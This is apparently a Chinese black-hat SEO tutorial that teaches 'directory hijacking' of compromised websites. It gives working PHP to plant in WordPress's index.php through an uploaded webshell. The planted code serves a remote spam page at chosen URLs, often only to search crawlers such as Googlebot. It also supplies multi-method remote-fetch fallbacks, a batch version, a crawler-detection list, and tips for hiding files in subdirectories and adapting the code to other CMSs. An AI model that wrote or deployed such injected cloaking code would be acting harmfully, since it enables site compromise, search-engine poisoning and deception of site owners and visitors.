黑页目录劫持

嗯。最近比较忙,但是还是得照顾下群内成员,有不少人问,一些黑页指定目录的劫持是怎么做的。

这类是属于基本的黑帽SEO的脚本,当然,不懂程序或者PHP的是不会理解。

我当时随便就发了这么一个帖子。

1.jpg

主要还是利用

$_SERVER['REQUEST_URI']

这个函数。

但是呢,还是有人问我,为什么这些目录的SHELL找不到。

郁闷的是,本想回答,是类似wordpress那些系统,通过伪静态,转发到index.php

然后顺着代码去判断就是。

不过想想,万一还有人问,我岂不是会被烦死,于是就有了这一篇。

下面我继续整理

代码究竟怎么用?

我们先看下简单的黑页代码


<?php error_reporting(0); if (ereg("Googlebot", $_SERVER["HTTP_USER_AGENT"])) { $file = file_get_contents('xxx/xxx.html'); echo $file; exit; } ?>

没错,只是简单的判断google蜘蛛,然后获取页面输出。

我们结合REQUEST_URI进行判断一下。

架设我们的黑页html文件链接是这样
http://www.davidsbridal.com/sale/sale-wedding-dresses

那么就改成


<?php if($_SERVER['REQUEST_URI']==="/archives/1680") { $file = file_get_contents('http://www.davidsbridal.com/sale/sale-wedding-dresses'); echo $file; exit; die; } else {} ?>

我们另存为php文件,上传到shell上。
1.jpg
为了方便,我用自己的网站www.affadsense.com做为测试

传到网站的目录下,或者隐藏更深点,可以传子目录中去,甚至子目录的子目录中。

调用方法

很多人不会调用,那么来了,我们代码要发哪里?

我说过,顺着index.php一直找,反正放在头部执行的文件中就行了。

我们看下index.php的代码

1.jpg

<?php
/**
 * Front to the WordPress application. This file doesn't do anything, but loads
 * wp-blog-header.php which does and tells WordPress to load the theme.
 *
 * @package WordPress
 */

/**
 * Tells WordPress to load the WordPress theme and output it.
 *
 * @var bool
 */
define('WP_USE_THEMES', true);

/** Loads the WordPress Environment and Template */
require( dirname( __FILE__ ) . '/wp-blog-header.php' );


我们可以调用到wp-blog-header.php

那么要么直接index.php代码加

效果如下

<?php
/**
 * Front to the WordPress application. This file doesn't do anything, but loads
 * wp-blog-header.php which does and tells WordPress to load the theme.
 *
 * @package WordPress
 */

/**
 * Tells WordPress to load the WordPress theme and output it.
 *
 * @var bool
 */
define('WP_USE_THEMES', true);

/** Loads the WordPress Environment and Template */
require( dirname( __FILE__ ) . '/black.php' );//我们的php黑页代码
require( dirname( __FILE__ ) . '/wp-blog-header.php' );


然后看下

1.jpg

页面正常,然后我们打开我们要劫持的那个目录页

https://www.affadsense.com/archives/1680

1.jpg

就已经变成我们的页面了。

而正常的页面应该是这样

1.jpg

以上是基本的使用

我们可以基于以上,进行进一步的代码改造,比如加入蜘蛛的判断



<?php if($_SERVER['REQUEST_URI']==="/archives/1680"&&ereg("Googlebot", $_SERVER["HTTP_USER_AGENT"])) { $file = file_get_contents('http://www.davidsbridal.com/sale/sale-wedding-dresses'); echo $file; exit; die; } else {} ?>

这样,判断蜘蛛的基础上进行黑页的劫持。

万一file_get_contents 不行呢

PHP读取远程网页的方法有很多,curl_init,socket,等等 ,所以为了最好的兼容,建议是添加这些功能进去,然后进行判断调用。




function g_1($url) { if (function_exists("file_get_contents") === false) return false; $buf = @file_get_contents($url); if ($buf == "") return false; return $buf; } function g_2($url) { if (function_exists("curl_init") === false) return false; $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, $url); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); curl_setopt($ch, CURLOPT_TIMEOUT, 10); curl_setopt($ch, CURLOPT_HEADER, 0); $res = curl_exec($ch); curl_close($ch); if ($res == "") return false; return $res; } function g_3($url) { if (function_exists("file") === false) return false; $inc = @file($url); $buf = @implode("", $inc); if ($buf == "") return false; return $buf; } function g_4($url) { if (function_exists("socket_create") === false) return false; $p = @parse_url($url); $host = $p["host"]; if (!isset($p["query"])) $p["query"] = ""; $uri = $p["path"] . "?" . $p["query"]; $ip1 = @gethostbyname($host); $ip2 = @long2ip(@ip2long($ip1)); if ($ip1 != $ip2) return false; $sock = @socket_create(AF_INET, SOCK_STREAM, SOL_TCP); if (!@socket_connect($sock, $ip1, 80)) { @socket_close($sock); return false; } $req = "GET $uri HTTP/1.0 "; $req .= "Host: $host "; socket_write($sock, $req); $buf = ""; while ($t = socket_read($sock, 10000)) { $buf .= $t; } @socket_close($sock); if ($buf == "") return false; list($m, $buf) = explode(" ", $buf); return $buf; } function gtd($url) { $co = ""; $co = @g_1($url); if ($co !== false) return $co; $co = @g_2($url); if ($co !== false) return $co; $co = @g_3($url); if ($co !== false) return $co; $co = @g_4($url); if ($co !== false) return $co; return ""; }

批量黑页目录劫持

以上代码只是基础的一个单页面劫持,批量的话,又要指定目录,就需要array
功能
1.jpg

去弄一堆页面,和对应的路径

然后去foreach循环判断

1.jpg

判断蜘蛛代码

代码比较简单

function isCrawler() { 
$agent= strtolower($_SERVER['HTTP_USER_AGENT']); 
if (!empty($agent)) { 
$spiderSite= array( 
"TencentTraveler", 
"Baiduspider+", 
"BaiduGame", 
"Googlebot", 
"msnbot", 
"Sosospider+", 
"Sogou web spider", 
"ia_archiver", 
"Yahoo! Slurp", 
"YoudaoBot", 
"Yahoo Slurp", 
"MSNBot", 
"Java (Often spam bot)", 
"BaiDuSpider", 
"Voila", 
"Yandex bot", 
"BSpider", 
"twiceler", 
"Sogou Spider", 
"Speedy Spider", 
"Google AdSense", 
"Heritrix", 
"Python-urllib", 
"Alexa (IA Archiver)", 
"Ask", 
"Exabot", 
"Custo", 
"OutfoxBot/YodaoBot", 
"yacy", 
"SurveyBot", 
"legs", 
"lwp-trivial", 
"Nutch", 
"StackRambler", 
"The web archive (IA Archiver)", 
"Perl tool", 
"MJ12bot", 
"Netcraft", 
"MSIECrawler", 
"WGet tools", 
"larbin", 
"Fish search", 
); 
foreach($spiderSite as $val) { 
$str = strtolower($val); 
if (strpos($agent, $str) !== false) { 
return true; 
} 
} 
} else { 
return false; 
} 
} 

通过AGENT判断,当然,还有更准确的办法就是通过IP来判断,不过这里我就不添加了。

最后整理好的代码我会贴论坛上,当然,我只是蛮写,因为我目前跟小师妹做件事,也没空去找SHELL去测试,有能力的,或者有PHP的程序员的,整合好这样的思路去操作即可。

PHP千变万化

PHP千变万化,我要是说以上只是基础的,你们会有什么想法吗

当然,目录劫持使用场景主要以index.php或者索引的文件为主,

比如joomla,wordpress,magento,phpfox等等等,一切请求都以某个php文件为主的就行了

我们只要去这个文件,顺着代码一个一个找,在代码的头部中添加即可。

比如wordpress的伪静态规则

1.jpg

这种一切请求,都以一个php为主的,都可以实现这种目的,当然,如果没有伪静态,我们可以自己写个伪静态规则去实现,这也是可以的。

就到这里了

对于大神来说,这是简单的,算是对小白的推送吧。

小师妹的公众号

image

image

码字不易,您的转发和赞赏是我的一大动力之一。

欢迎关注我的公众号,请爱护我,不要抄袭我。

image

欢迎加入我的论坛,与我们一起交流。

下面是加入小密圈/获取论坛邀请码购买渠道:

小密圈(入圈后私信圈主,看到会私信邀请码):

image

其他获取方式:

支付宝:image

微信支付:

image